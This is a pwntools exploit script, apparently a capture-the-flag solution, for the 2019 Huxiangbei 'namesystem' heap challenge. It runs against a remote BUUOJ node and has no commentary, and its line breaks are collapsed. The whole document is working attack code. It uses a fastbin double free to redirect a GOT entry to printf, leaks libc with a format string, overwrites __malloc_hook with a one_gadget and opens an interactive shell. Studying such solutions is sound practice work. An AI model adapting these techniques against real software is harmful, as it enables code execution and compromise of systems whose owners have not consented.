1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
sh = remote('node3.buuoj.cn',29866) elf = ELF('./huxiangbei_2019_namesystem') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') printf_plt = elf.plt['printf']
def add(size,content): sh.sendlineafter('Your choice :','1') sh.sendlineafter('Name Size:',str(size)) sh.sendafter('Name:',content)
def delete(index): sh.sendlineafter('Your choice :','3') sh.sendlineafter('The id you want to delete:',str(index))
for i in range(17): add(0x20,'a'*0x20)
add(0x50,'b'*0x50)
add(0x60,'a'*0x60)
add(0x50,'c'*0x50)
fake_chunk_addr = 0x0000000000601FFA delete(18)
delete(19) delete(17) delete(17) add(0x60,'a'*0x60) add(0x60,'b'*0x60) add(0x60,'c'*0x60)
delete(18) delete(19) delete(17) delete(17)
for i in range(17,-1,-1): delete(i)
add(0x50,p64(fake_chunk_addr) + '\n') add(0x50,'b'*0x50) add(0x50,'c'*0x50)
add(0x50,'a'*0xE + p64(printf_plt)[0:6] + '\n')
add(0x20,'%13$p\n') delete(4) libc_base = int(sh.recvuntil('Done!',drop = True),16) - 0xF0 - libc.sym['__libc_start_main'] malloc_hook_addr = libc_base + libc.symbols['__malloc_hook'] one_gadget_addr = libc_base + 0x4526a realloc_addr = libc_base + libc.sym['realloc'] print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr) add(0x60,p64(malloc_hook_addr - 0x23) + '\n') add(0x60,'b'*0x60) add(0x60,'c'*0x60)
add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x10) + '\n')
sh.sendlineafter('Your choice :','1') sh.sendlineafter('Name Size:','50')
sh.interactive()
|